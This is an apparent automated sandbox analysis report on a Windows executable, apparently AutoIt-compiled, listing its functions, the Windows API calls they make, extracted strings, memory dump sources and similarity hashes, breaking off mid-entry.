InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00DB25D4

Strings

|, xrefs: 00DB25A5

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: 044956fc568e0a5fe97948e8b695df093b7e9ae07265ac8f1128d646f45d6694
Instruction ID: f510da7c2ecf7cb7023276113c44833c65deca9f7385687a5d4af95a9fed1421
Opcode Fuzzy Hash: 044956fc568e0a5fe97948e8b695df093b7e9ae07265ac8f1128d646f45d6694
Instruction Fuzzy Hash: 8531F571900119EBCF11AFA4CC85EEEBBB9FF08350F104059E915B6162EB319956DB70

Function 00DC7A71 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,?), ref: 00DC7B61
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00DC7B76

Strings

', xrefs: 00DC7ACA

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 07ec1e5283556079cde57e6154a27a74f1921fa7c22d82f69afb4463e98f39a9
Instruction ID: 2a4208c24d45981096ad3fb14c3fbc74c0e7d3353038625b7fd673609d1f7536
Opcode Fuzzy Hash: 07ec1e5283556079cde57e6154a27a74f1921fa7c22d82f69afb4463e98f39a9
Instruction Fuzzy Hash: FE41E775A0520A9FDB14CF65C981FEABBB9FB08300F14416AE908EB391D771A951CFA0

Function 00DC6A63 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00DC6B17
MoveWindow.USER32(?,?,?,?,?,00000001), ref: 00DC6B53

Strings

static, xrefs: 00DC6AB3

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 7b942e465eab383f6688ac6e173a145f760f75a2a98afcb931e4f5ca5a231926
Instruction ID: 7126c056dd6f44378c2dbe4a33a98e416b60ac502eb25b7a08ee345f48dcc863
Opcode Fuzzy Hash: 7b942e465eab383f6688ac6e173a145f760f75a2a98afcb931e4f5ca5a231926
Instruction Fuzzy Hash: 63316971200605AADB109F68C881FEB77A9FF48760F14861EF9A5D7190DA31EC81CB70

Function 00DA28A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DA2911
GetMenuItemInfoW.USER32 ref: 00DA294C

Strings

0, xrefs: 00DA290A

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: ffd330f401e80fec220c3600bf1450d5a04ddf3c3b6e80df915eda35dfc12734
Instruction ID: 381b87ae9925cd296a09eb87b960d5f2b4fb77faff0d2970a58f733dd8fa6f84
Opcode Fuzzy Hash: ffd330f401e80fec220c3600bf1450d5a04ddf3c3b6e80df915eda35dfc12734
Instruction Fuzzy Hash: 7031C1316403059BEB28CF5EC985BBFBBB8EF46750F180429ED85A61A1D7709944CF71

Function 00DB39E9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 00DB3A66

Part of subcall function 00D47DE1: _memmove.LIBCMT ref: 00D47E22

Strings

, $, xrefs: 00DB3AA6
AUTOITCALLVARIABLE%d, xrefs: 00DB3A58

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3506404897-2584243854
Opcode ID: d04f0522e554b8755139f4248bf6fd1c9fe8e6196593131c08eff903d9dec161
Instruction ID: b87a7d929c53b1fa871f70594524ea654a45175af2751026aaa1b68edbb448d5
Opcode Fuzzy Hash: d04f0522e554b8755139f4248bf6fd1c9fe8e6196593131c08eff903d9dec161
Instruction Fuzzy Hash: 3F214D31A00219AFCF10EFA4CC82AEE77B9EF44700F614455F556AB282DB30EA45DB71

Function 00DC66D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00DC6761
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00DC676C

Strings

Combobox, xrefs: 00DC672E

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 5e04cd9878e6efc9a33f1db79b0e1e4d05b05ab604881aef30413817b10ca252
Instruction ID: ea67d9c3d37817b1eebebc7d5f0cff6d6d0279c5141833134b2c0f733098aa64
Opcode Fuzzy Hash: 5e04cd9878e6efc9a33f1db79b0e1e4d05b05ab604881aef30413817b10ca252
Instruction Fuzzy Hash: 5211827560020AAFEF119F54CC81FFB376AEB48368F154629F918972D0D671DC5197B0

Function 00DC6C07 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00D41D35: CreateWindowExW.USER32 ref: 00D41D73
Part of subcall function 00D41D35: GetStockObject.GDI32(00000011), ref: 00D41D87
Part of subcall function 00D41D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00D41D91

GetWindowRect.USER32(00000000,?), ref: 00DC6C71
GetSysColor.USER32(00000012,?,?,static,?,00000000,?,?,?,00000001,?,?,00000001,?), ref: 00DC6C8B

Strings

static, xrefs: 00DC6C4E

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: db7db084479b41d674ed28bced9dc27c88275c0dc1794ff636d98a990e6f47bd
Instruction ID: 6e5c7762eaf9d81744bad529900f294eee580eba07657a3fab48e58dccea3d85
Opcode Fuzzy Hash: db7db084479b41d674ed28bced9dc27c88275c0dc1794ff636d98a990e6f47bd
Instruction Fuzzy Hash: EC21567262020AAFDF04DFA8CD45EEA7BA9FB08314F044629F995E3250D735E861DB60

Function 00DC6920 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000,?,?,edit,?,00000000,?,?,?,?,?,?,00000001,?), ref: 00DC69A2
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00DC69B1

Strings

edit, xrefs: 00DC6986

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 7b5ec9da69bc919b2e6be9c7bb50c32cf3304a8ac746fd894c1ab29c19fc56a3
Instruction ID: 892ad2131704dc3e2f859e6366b820d99c4bea7d28880b617b1d9122288ad90b
Opcode Fuzzy Hash: 7b5ec9da69bc919b2e6be9c7bb50c32cf3304a8ac746fd894c1ab29c19fc56a3
Instruction Fuzzy Hash: AA115B7151020AABEB108F64DC41FEB366AEB05374F544728FAA5971E0CB31DC919B70

Function 00DA29AF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DA2A22
GetMenuItemInfoW.USER32 ref: 00DA2A41

Strings

0, xrefs: 00DA2A18

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: a10cbf7f238b1c8ee6fe2f3fd7f0e4d6f329d902416851901f76c9921df99d62
Instruction ID: a801344ea42a8315f75e93f3e1d30891e015b4fa15693cea459a350e8c9a3cb3
Opcode Fuzzy Hash: a10cbf7f238b1c8ee6fe2f3fd7f0e4d6f329d902416851901f76c9921df99d62
Instruction Fuzzy Hash: 86119032A05214ABDF34DB9ED844BBA77B8EB86310F184021E955E7290D770ED0ACBB1

Function 00DB21D6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00DB222C
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00DB2255

Strings

<local>, xrefs: 00DB221D

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: f8df9921c478629b8e1d5a57e786101d797b45bd54e5f7488b8a719b882719f8
Instruction ID: 23421ef8f1992e559ec909747a51e0ffd2ea7011063ab28b9e896073eec77244
Opcode Fuzzy Hash: f8df9921c478629b8e1d5a57e786101d797b45bd54e5f7488b8a719b882719f8
Instruction Fuzzy Hash: 76110272501226FEDB248F118C84EFBFBA8FF06351F10862AF946D6140D3709990D6F0

Function 00D5092D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00D43C14,00E052F8,?,?,?), ref: 00D5096E

Part of subcall function 00D47BCC: _memmove.LIBCMT ref: 00D47C06

_wcscat.LIBCMT ref: 00D84CB7

Strings

S, xrefs: 00D509AE

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: FullNamePath_memmove_wcscat
String ID: S
API String ID: 257928180-3334745618
Opcode ID: c4b9e6b2d1360f261671f9555f4846c3e120ac80e1890d4aeba5ef4ec187ac01
Instruction ID: 30d48a73a0cee0f1c6dfb44d31efc46e7ff679907c3be41e39d5cfde3cc9be58
Opcode Fuzzy Hash: c4b9e6b2d1360f261671f9555f4846c3e120ac80e1890d4aeba5ef4ec187ac01
Instruction Fuzzy Hash: 451152359056099BCF41EBA48806EDA7BA8FF08351B0445A5BD89D7289EB7496888F31

Function 00D98E05 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D47DE1: _memmove.LIBCMT ref: 00D47E22

Part of subcall function 00D9AA99: GetClassNameW.USER32(?,?,000000FF), ref: 00D9AABC

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00D98E73

Strings

ListBox, xrefs: 00D98E3D
ComboBox, xrefs: 00D98E12

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 1476acd85a66238123e6322e33259f7c2bc7a44a1b5d250e05d94eee73673903
Instruction ID: 8b65538470e37caa14184f89b09cbe49fcca023c82065b64f081fd2b97483983
Opcode Fuzzy Hash: 1476acd85a66238123e6322e33259f7c2bc7a44a1b5d250e05d94eee73673903
Instruction Fuzzy Hash: 0901F171A01219AB8F14EBA4CC518FE7369EF06320B040A19F872573E2DF325808D670

Function 00D98CFD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D47DE1: _memmove.LIBCMT ref: 00D47E22

Part of subcall function 00D9AA99: GetClassNameW.USER32(?,?,000000FF), ref: 00D9AABC

SendMessageW.USER32(?,00000180,00000000,?), ref: 00D98D6B

Strings

ListBox, xrefs: 00D98D35
ComboBox, xrefs: 00D98D0A

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 1232b1ee8db162cff94664ac5d4cb30387581fca1235eb1d13ecfe08217ee334
Instruction ID: d05f3bd58c377f8557092555e096d38b998bc6689bd2e97019267b1bd6504d5c
Opcode Fuzzy Hash: 1232b1ee8db162cff94664ac5d4cb30387581fca1235eb1d13ecfe08217ee334
Instruction Fuzzy Hash: EE01F2B1A41109AFDF14EBE0C952EFE73A8DF16740F140019B802632E2DF249E0CE6B1

Function 00D98D82 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D47DE1: _memmove.LIBCMT ref: 00D47E22

Part of subcall function 00D9AA99: GetClassNameW.USER32(?,?,000000FF), ref: 00D9AABC

SendMessageW.USER32(?,00000182,?,00000000), ref: 00D98DEE

Strings

ListBox, xrefs: 00D98DBA
ComboBox, xrefs: 00D98D8F

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: c731eadc0737d19c26278cb7bbf21135909028d333f37bbe070ea556a1be7a4b
Instruction ID: a1ed98d516d917e05e910fb3bce740fe08a4f6a822b05b3f4ae496be0a273a6b
Opcode Fuzzy Hash: c731eadc0737d19c26278cb7bbf21135909028d333f37bbe070ea556a1be7a4b
Instruction Fuzzy Hash: 5901F271B41109ABDF10EBA4C942EFE77A8CF16740F144015B801A3292DE258E08E6B1

Function 00D66B71 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00D66B93
__calloc_crt.LIBCMT ref: 00D66BAC

Strings

@B, xrefs: 00D66BC3

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: __calloc_crt
String ID: @B
API String ID: 3494438863-3690976569
Opcode ID: 6c48b6e13d21a36d082624bbf59783eabc67ab84ba12279abfb1e81166b7570f
Instruction ID: d5b77ae83e54c9e1480d2bf159726f828d8267a9e5e8d6c3efa10d767aa7e92a
Opcode Fuzzy Hash: 6c48b6e13d21a36d082624bbf59783eabc67ab84ba12279abfb1e81166b7570f
Instruction Fuzzy Hash: F6F04472204616DFEB649F5EBC51B7327A5EB00730B54051AE600DE1A0EB71C8898EF4

Function 00DA4F28 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00DA4F46
_wcscmp.LIBCMT ref: 00DA4F58

Strings

#32770, xrefs: 00DA4F52

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: ec86ddfd1d23eaecb1fd89b8921ee41f496b314f8906d25401c7d94212b8017a
Instruction ID: 6114cd2c758b17e68dc0407df1414842bc4bae644980c69ef87d0c21639fbb63
Opcode Fuzzy Hash: ec86ddfd1d23eaecb1fd89b8921ee41f496b314f8906d25401c7d94212b8017a
Instruction Fuzzy Hash: 27E09232A042292BD7209B99AC49FA7FBACEB85B71F010066FD04D7151DA609A598BF1

Function 00D7B2C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00D7B314: _memset.LIBCMT ref: 00D7B321

Part of subcall function 00D60940: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00D7B2F0,?,?,?,00D4100A), ref: 00D60945

IsDebuggerPresent.KERNEL32(?,?,?,00D4100A), ref: 00D7B2F4
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00D4100A), ref: 00D7B303

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00D7B2FE

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3158253471-631824599
Opcode ID: b8bdff2860ceaf3d21e4a60b7617b58a2eb3abe7e1b0399bdffbb715272d6ee6
Instruction ID: bbd047c86e610c0e07ab2ec8fe9f6811d928c2a390fc37c7da17b40f877b5512
Opcode Fuzzy Hash: b8bdff2860ceaf3d21e4a60b7617b58a2eb3abe7e1b0399bdffbb715272d6ee6
Instruction Fuzzy Hash: 77E06D70200B528FD720AF29E4047427AE8EF00714F04892EE48AC7350EBB4D488CBB1

Function 00D81935 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00D81775

Part of subcall function 00DBBFF0: LoadLibraryA.KERNEL32(kernel32.dll), ref: 00DBBFFE
Part of subcall function 00DBBFF0: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW,?,00D8195E,?), ref: 00DBC010

FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00D8196D

Strings

WIN_XPe, xrefs: 00D81788

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Library$AddressDirectoryFreeLoadProcSystem
String ID: WIN_XPe
API String ID: 582185067-3257408948
Opcode ID: 30facede1f56295a861aefd90ab5419ffd2f1f6240b6072025a4b0f50fdeed91
Instruction ID: 23342087313c1ada17c3d8f814c8c38ff6f75fe12c1fe863a0a7cf2f97d30d6a
Opcode Fuzzy Hash: 30facede1f56295a861aefd90ab5419ffd2f1f6240b6072025a4b0f50fdeed91
Instruction Fuzzy Hash: 7EF0C9B480110ADFDB15EB91CD84AECBBF8BB18301F540499E142A21A0D7B58F8ADF70

Function 00DC5998 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32 ref: 00DC59AE
PostMessageW.USER32 ref: 00DC59B5

